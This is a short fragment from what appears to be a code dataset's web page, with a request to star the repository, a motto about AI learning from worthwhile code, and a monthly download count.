โญ If this dataset helps your research or project, please consider starring the repository!
"In the pursuit of AI that understands code, we must first understand what code is worth learning."
- Downloads last month
- 1,164